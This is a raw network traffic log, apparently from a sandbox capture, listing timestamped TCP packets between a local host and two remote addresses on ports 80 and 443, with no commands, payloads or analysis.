Nov 11, 2024 14:32:16.355426073 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.355465889 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357002974 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357053041 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357074976 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357081890 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357136965 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357170105 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357175112 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357187033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357192039 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357198000 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357203960 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357214928 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357223988 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357244015 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357261896 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357271910 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357278109 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357289076 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357297897 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357302904 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357309103 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357321978 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357338905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357345104 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357351065 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357356071 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357361078 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357366085 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357366085 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357398033 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357398033 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357520103 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357525110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357534885 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357539892 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357551098 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357556105 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357573032 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357575893 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357583046 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357588053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357594967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357599020 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357604027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357611895 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357614040 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357620955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357635975 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357672930 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357712030 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357717991 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357728004 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357732058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357737064 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357742071 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357745886 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357758999 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357769966 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357794046 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357860088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357865095 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357876062 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357881069 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357886076 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357891083 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.357914925 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.357960939 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.415633917 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.415659904 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.415667057 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.415694952 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.415705919 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.415719032 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.415729046 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:16.415741920 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.415756941 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:16.415771008 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:16.415849924 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:16.415975094 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.416105986 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:16.416112900 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.416484118 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:16.417651892 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:16.432943106 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.432959080 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.432971001 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.433022976 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.433837891 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.434000015 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.463808060 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463815928 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463824034 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463829041 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463857889 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463864088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463876963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463901997 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.463943958 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.463959932 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463964939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463975906 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463982105 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.463988066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464030027 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464030027 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464066029 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464071989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464078903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464085102 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464092016 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464123011 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464129925 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464143038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464165926 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464216948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464235067 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464267015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464271069 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464282036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464296103 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464325905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464332104 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464348078 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464354038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464359045 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464364052 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464427948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464481115 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464509010 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464514017 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464524984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464531898 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464535952 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464538097 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464587927 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464587927 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464612007 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464617968 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464629889 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464648962 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464654922 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464677095 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464677095 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464703083 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464709044 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464713097 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464721918 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464848995 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464883089 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464891911 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464894056 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464957952 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464973927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464979887 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464986086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.464988947 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.464992046 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465029955 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.465081930 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.465509892 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465516090 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465532064 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465584040 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465590000 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465596914 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465596914 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.465603113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465687037 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.465846062 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465852022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465862989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465868950 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465874910 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465881109 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465887070 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.465903044 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466048002 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466198921 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466234922 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466239929 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466264009 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466295004 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466300011 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466305017 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466320038 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466346979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466346979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466372967 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466378927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466389894 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466397047 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466485023 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466516018 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466521978 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466532946 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466537952 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466543913 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466548920 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466555119 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466566086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466579914 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466615915 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466698885 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466705084 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466717005 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466722012 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466727972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466733932 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466744900 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466749907 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466759920 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466768980 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466818094 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466845036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466857910 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466860056 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466867924 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466881037 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466886997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466892958 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466897964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466905117 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466911077 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466943979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466943979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.466981888 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466988087 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.466999054 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467005014 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467010975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467015982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467022896 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467051029 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467051983 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467087030 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467094898 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467101097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467104912 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467123985 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467238903 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467442989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467473984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467479944 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467502117 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467524052 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467530012 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467540979 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467554092 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467658997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467664957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467675924 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467680931 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467685938 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467689037 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467693090 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467699051 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467705965 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467711926 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467734098 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467827082 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467832088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467843056 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467848063 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467854023 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467858076 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467859030 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467864990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467870951 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467886925 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467915058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467921019 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467931032 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467936993 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467945099 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.467979908 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.467993021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468003035 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468022108 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468050957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468055964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468067884 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468074083 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468079090 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468080044 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468094110 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468133926 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468146086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468147039 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468153000 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468163967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468235016 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468240976 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468251944 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468257904 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468262911 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468264103 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468269110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468274117 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468297005 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468297958 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468317986 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468323946 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468332052 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468358040 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468364000 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468374968 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468404055 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468467951 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468472958 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468485117 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468487024 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468521118 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468527079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468537092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468542099 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468549013 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468571901 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468606949 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468611002 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468636990 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468704939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468712091 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468714952 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468718052 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468781948 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468781948 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468806028 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468873024 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468878031 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468915939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468920946 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468921900 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468928099 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468945026 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.468949080 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468967915 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468972921 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.468992949 CET	49753	80	192.168.2.4	185.215.113.206
